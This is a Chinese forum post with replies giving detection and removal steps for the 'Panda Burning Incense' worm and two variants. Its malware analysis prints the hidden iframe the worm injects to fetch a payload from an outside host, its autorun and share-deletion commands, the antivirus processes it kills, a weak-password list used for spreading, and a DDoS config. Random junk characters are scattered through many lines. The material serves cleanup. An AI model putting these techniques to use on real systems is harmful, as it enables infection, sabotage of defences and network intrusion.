熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。
0 m$ d1 N# v. V% h
# P5 ^9 O: d- P" B, {% n2.创建启动项：
3 [3 l  }+ z3 i3 I& h7 C! _. L[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"
9 S$ K+ F3 H# c" t% p" n% h
3.在各分区根目录生成病毒副本：　　X:\setup.exe
　　X:\autorun.inf
autorun.inf内容：
[AutoRun]
' @: ~4 j! r4 p+ c8 V　　OPEN=setup.exe
　　shellexecute=setup.exe
　　shell\Auto\command=setup.exe
0 n# b9 x3 _! t$ h; g7 F
4.使用net share命令关闭管理共享：
cmd.exe /c net share X$ /del /y
　　cmd.exe /c net share admin$ /del /y
8 r0 F- M3 n/ A7 c* z# d3 @
+ O9 i* k$ _5 B: X8 Y1 i5.修改“显示所有文件和文件夹”设置：
) ^7 I/ G; c5 P8 E/ s; ]1 M[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
* k. f3 |; l0 G  ?　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
0 u" M8 `5 }3 r: J8 @　　"CheckedValue"=dword:00000000
! y4 T6 z3 ?# c) Q. U0 G
6.熊猫烧香病毒尝试关闭安全软件相关窗口：
' N: \8 a$ v# C# F' D( _( A6 H天网
防火墙进程
VirusScan
NOD32
* A7 ?% V3 A& C) j8 F! w5 p网镖杀毒毒霸瑞星江民黄山IE
( A9 N6 p, Y2 T9 K$ w' K超级兔子优化大师木马清道夫木馬清道夫
QQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
4 j7 ]0 b7 v4 Y8 G9 I5 I' ~Symantec AntiVirus
6 k. M' G. O4 UDuba
Windows 任务管理器
esteem procs
绿鹰PC
1 n/ f* R3 |& m$ I+ {% r) j密码防盗噬菌体木马辅助查找器
System Safety Monitor
$ t/ k2 a, Z" D8 Y- i0 GWrapped gift Killer
" ^& E! K0 r. a6 X8 N  W6 ^4 RWinsock Expert
' {" z& |3 p8 I, @4 N4 J: H游戏木马检测大师超级巡警
msctls_statusbar32
7 w3 t6 T" \: o8 P( r4 rpjf(ustc)
: w4 ^$ D. Q: `IceSword

/ B& D% w) S* Y; W7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
Mcshield.exe
5 Q6 d4 _: l: z% O& F　　VsTskMgr.exe
　　naPrdMgr.exe
　　UpdaterUI.exe
　　TBMon.exe
　　scan32.exe
　　Ravmond.exe
% _8 H+ J+ R$ x0 ~6 Y! v　　CCenter.exe
　　RavTask.exe
1 n0 _2 _, _5 ^　　Rav.exe
　　Ravmon.exe
　　RavmonD.exe
8 x, E) Q9 [; T; X4 v! j　　RavStub.exe
: a! g6 t) O  O2 f" b　　KVXP.kxp
$ p2 h6 N1 u7 Y9 q0 ~. i　　KvMonXP.kxp
　　KVCenter.kxp
　　KVSrvXP.exe
　　KRegEx.exe
　　UIHost.exe
- x6 t9 j/ U0 o1 b9 M- `　　TrojDie.kxp
　　FrogAgent.exe
: U/ ^3 ]  m, z　　Logo1_.exe
　　Logo_1.exe
　　Rundl132.exe

+ {) x; i3 a; M; v* j8 X2 C$ X4 Y8.禁用安全软件相关服务：
Schedule
! C* y  {6 @) y) l# e: ~　　sharedaccess
% A" a; L) @0 ^  q6 T　　RsCCenter
　　RsRavMon
　　KVWSC
　　KVSrvXP
　　kavsvc
　　AVP
; I! t  M) I. l8 k  @* e* o. j7 V　　McAfeeFramework
　　McShield
　　McTaskManager
　　navapsvc
　　wscsvc
& B* Y9 m# G) ?: W, X: q　　KPfwSvc
　　SNDSrvc
　　ccProxy
　　ccEvtMgr
, ^! ^5 X! c! G" g& k) x. P. {, t　　ccSetMgr
8 a- r0 F+ ^; J. Y8 Y　　SPBBCSvc
　　Symantec Core LC
/ y; I0 a4 A) `( M% y! s1 ?; l8 J　　NPFMntor
　　MskService
5 R. b9 t9 r9 x' g1 E　　FireSvc

9 R( q$ z1 h2 V0 Q9.删除安全软件相关启动项：
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
' V2 i9 ~; o; @0 j, ~　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
Reporting Service
  W+ z3 ~' Y& G) m　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
0 q4 S) s; b3 X7 F4 ^, \9 \9 A$ {1 H　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
7 ]9 \- d& B/ w( j$ ~1 X10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
但不修改以下目录中的网页文件：
4 H1 l3 O$ D7 LC:\WINDOWS
　　C:\WINNT
8 Z, o9 A- B7 Q3 U! u0 F　　C:\system32
　　C:\Documents and Settings
　　C:\System Volume Information
% K; i* E5 M% W. X. z' r　　C:\Recycled
% L1 s; R3 E$ D( G* ]　　Program Files\Windows NT
　　Program Files\WindowsUpdate
　　Program Files\Windows Media Player
% @) J6 a% \+ b! A" U0 o  _　　Program Files\Outlook Express
, r; K$ b. t; x9 `2 T- [" E  {) Z* \. x5 K　　Program Files\Internet Explorer
1 g" Z7 G5 @/ K1 `+ {　　Program Files\NetMeeting
　　Program Files\Common Files
1 _' q8 ~: T% v& m　　Program Files\ComPlus Applications
1 B8 o1 e4 F. d　　Program Files\Messenger
/ S& {2 F8 g  P  c# ^' [　　Program Files\InstallShield Installation Information
　　Program Files\MSN
$ I' }! \  n! d& E$ Y　　Program Files\Microsoft Frontpage
7 m3 T' W1 \( i3 f% }　　Program Files\Movie Maker
7 G+ s# B5 j* u) O' z- ~9 l6 F　　Program Files\MSN Gamin Zone
( v3 v; j. i! E9 T. o! J; f11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
$ p8 T( X6 }4 V6 \4 B. K2 X- _12.此外，病毒还会尝试删除GHO文件。
病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
  S" j, {* ^& f　　harley
, S) @' m% D  t! r4 [6 E+ p　　golf
) u8 [; P, z; V9 X　　pussy
% D* d% g* W! P' ^, x" i2 a　　mustang
　　shadow
. I0 A( v  y' `/ B　　fish
　　qwerty
　　baseball
　　letmein
& x0 ^8 T2 n1 A; s　　ccc
0 \- E4 t4 ^+ d$ o+ B, a6 m　　admin
　　abc
　　pass
　　passwd
# V7 N) T1 ]: v0 d! K7 t　　database
　　abcd
　　abc123
　　sybase
　　123qwe
4 V7 C3 q( _. }) [6 Q* s* `　　server
　　computer
　　super
2 |  v8 z+ E, B/ [2 u　　123asd
* ]3 w* W" S0 @8 H　　ihavenopass
& |0 A  w+ p' B( p　　godblessyou
　　enable
( o8 z6 y# V9 w: {/ Q( W　　alpha
, p+ Y" n4 V, d/ X$ _: ?6 s0 b　　1234qwer
2 G8 F/ B* ], u　　123abc
5 }/ K/ R0 e& o. S/ ]2 c9 \　　aaa
2 @2 J0 l: \4 ~& B1 x( C　　patrick
# d! Q: C7 [' F& h, r" i　　pat
2 d- w0 l. x# ]　　administrator
　　root
　　sex
7 {! x% {! j5 i0 x& F/ `　　god
　　fuckyou
: K1 }5 H8 x' U+ r; m9 t　　fuck
　　test
4 U" d' {/ C& u+ F　　test123
　　temp
1 l7 N5 P% q. Y) n" b" {　　temp123
8 P5 ]: Z7 V0 r　　win
　　asdf
　　pwd
7 p0 u. G1 _7 T3 F. f: Z$ r　　qwer
　　yxcv
  G( }6 J% z( D# Z　　zxcv
6 F0 Y. Q7 w; w, `7 W　　home
9 O' l, |1 @9 A; J　　xxx
1 K8 k$ l5 ?+ L' {- z* e　　owner
2 L6 F2 F; N( P* Q7 [, A　　login
　　Login
2 E7 d# Z) f2 T. Q" U　　love
　　mypc
　　mypc123
　　admin123
* m- D* k2 Y. _2 h2 s/ y2 l　　mypass
　　mypass123
　　Administrator
8 W2 m# G: M3 c　　Guest
; U3 f, t! d0 n( S　　admin
* V# m% b6 U! d( Q) x+ ]　　Root
% x5 E7 _" O9 _6 I* \
病毒文件内含有这些信息：

whboy
% R$ Y6 L+ r" J; h& h4 j$ W　　***武*汉*男*生*感*染*下*载*者***
解决方案：

' g& H% ^8 H* ?- K: e1. 结束病毒进程：
: F8 f% `5 l* t5 @2 D# Z%System%\drivers\spoclsv.exe
5 [/ C- ], \% j3 Y8 G! N5 B不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。
" ~$ r+ P% I" o, ~
2. 删除病毒文件：
%System%\drivers\spoclsv.exe
请注意区分病毒和系统文件。详见步骤1。

: l; j8 A; y9 p# `3. 删除病毒启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"

4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
X:\setup.exe
　　X:\autorun.inf

5. 恢复被修改的“显示所有文件和文件夹”设置：
2 c1 v0 y5 `1 k1 z[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
4 z  q% i0 R. z# W: B# @/ ^* d　　"CheckedValue"=dword:00000001
) U+ ]' R% I7 W" {% S9 g
9 i" c. l1 Y/ M1 I6. 修复或重新安装被破坏的安全软件。
6 ]' t2 _" O5 b# i
. {1 z2 l5 N. ]0 e' V$ M7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
, ^, F, v# E) @3 \/ v& i+ @金山熊猫烧香病毒专杀工具
/ w5 z/ K8 ^5 o+ nhttp://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
& [$ C; A; a' j" e  g% R& U安天熊猫烧香病毒专杀工具
4 q( |* l, u& t1 _2 q! u" ^' chttp://www.antiy.com/download/KillPP.scr
江民熊猫烧香病毒专杀工具
http://ec.jiangmin.com/test/PandaKiller.rar
* ?% S$ Q! {! n5 H! ?瑞星熊猫烧香病毒专杀工具
# w# O) X& {$ i/ S2 q) V3 {http://download.rising.com.cn/zsgj/NimayaKiller.scr
。也可用手动方法（见本文末）。
* ^- O3 b/ C7 O7 E3 T) _) n
% ^; ?3 d5 G2 ?  @! Y& q. S& d5 w# A8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。

$ q5 E$ C  K& \' p; ~3 N9 e( l熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”

以下是数据安全实验室提供的信息与方法。
# Q) h( |$ d3 v' l- [病毒描述：
含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
" z7 p, L2 m* T, ?
- {2 w' S2 {* _# f, O6 h- |病毒基本情况：
( m: k1 u/ v( M0 |: j+ a: G1 r6 y
- H# c0 K5 N9 O! ~[文件信息]
- |- L) C% S$ r# D* T
. N8 S8 ~7 S) D病毒名: Virus.Win32.EvilPanda.a.ex$
+ c( Y7 Y# R8 @0 G& x　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
) l; m* B3 T1 O7 z7 i" T; @　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
　　壳信息: 未知　　危害级别：高
4 X) N3 }4 K/ C( |9 x
病毒名: Flooder.Win32.FloodBots.a.ex$
2 f0 s$ I0 n# C　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
) L( R; E) F( W2 P0 O( I6 v" a6 U　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
　　危害级别：高

病毒行为：
) v$ p6 T! M* `$ d) @$ N
% s; Y3 ^: r) ^) [Virus.Win32.EvilPanda.a.ex$ ：
# l; q! s+ C+ L+ l2 H
" v- `7 Y1 r, q# `3 e- g1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\system32\FuckJacks.exe
$ Y( P) C+ y7 u$ w: t. ^, I. S
0 o. K$ L. l0 a! J5 o, |0 c
/ H& ^- ]! x( d6 P　　2、添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/ l# j3 I& T5 \! Q' `, R2 L　　键名：FuckJacks
1 `, n" u4 N: L; A　　键值："C:WINDOWS\system32\FuckJacks.exe"

. Y: U8 ]; y& G8 M" n# O键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：svohost
　　键值："C:WINDOWS\system32\FuckJacks.exe"

% ^. t+ C7 r! o! D) }& {6 i3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
" v& P  O0 a- t4 z" u) }C:autorun.inf    1KB    RHS
　　C:setup.exe    230KB    RHS
6 b3 o, T' i- y8 M# ^& ]! ]
: }  |, W. j7 L4、关闭众多杀毒软件和安全工具。

5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。

6、刷新bbs.qq.com，某QQ秀链接。

3 y- u4 ]6 l3 r/ k% J7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。
- Q# ^8 z) l2 H
3 b8 ^; C4 [' l# z1 `4 xFlooder.Win32.FloodBots.a.ex$ ：
7 C2 d& r$ q+ j; q
- a- C' j. C& T1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）

2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
- X+ b: f# u. ?. f1 \- @9 J: }键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：Userinit
　　键值："C:WINDOWS\system32\SVCH0ST.exe"

3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
配置文件如下：
9 B! m8 D2 D, R, `# n3 @3 Pwww。victim.net:3389
6 V5 v4 c6 d9 w  Q/ C6 o: o2 p* m6 ^　　www。victim.net:80
　　www。victim.com:80
1 ?. G0 K0 K# ~7 V( C　　www。victim.net:80
4 k4 A- ]2 P' {3 o6 ^$ g5 C8 @; W) S　　1
. r* W. _# s4 l$ s1 D  s　　1
　　120
9 L3 ?6 n# ?: p( U1 l　　50000
9 C8 M* q' m* n, l4 W, K3 P* c
) x7 _9 G5 P. T8 z. z解决方案：

1. 断开网络
/ i( V. C; d) U6 z
7 N1 Z/ H2 }3 q3 O2. 结束病毒进程：%System%\FuckJacks.exe
6 K: I+ \+ G2 V/ @$ @
) e5 F7 D5 e9 D: X3. 删除病毒文件：%System%\FuckJacks.exe
: b- \. P6 b, r' L
4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
　　X:\setup.exe

5. 删除病毒创建的启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"FuckJacks"="%System%\FuckJacks.exe"
0 R' E" d# `9 [( E* z- H3 K- z[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
2 Q2 _8 _9 H) P  f% l; [/ N　　"svohost"="%System%\FuckJacks.exe"

( Z  E8 j5 B) s$ X+ \" g* d6. 修复或重新安装反病毒软件
" S* h6 O* v  \1 ~% i! X
7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。

手动恢复中毒文件（在虚拟机上通过测试，供参考）
) O4 ^3 [$ h7 v$ b
8 v0 k6 I  H) q0 e2 f) i1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。
6 r( J# h. O, Q' q' l* U7 N( v/ B1 _
2 i/ c( V' F3 ?. v3 V2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口

3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。

4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。

2 A) w' m# X& R+ j, o5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

就是将那个GHOST备份文件不要设置为后缀GHO

( w# X& R; A0 b+ t! c( N, b你换一个后缀不就没事了吗？
恢复时后缀只是起显示作用
只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
存的片子和游戏全没了！！气死我了！！！
这病毒出现后没想到是金山反应最快~
瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！
  `4 P6 x3 }/ O2 @, t4 T9 V1 x

kk11qq

谢谢楼主的分享！！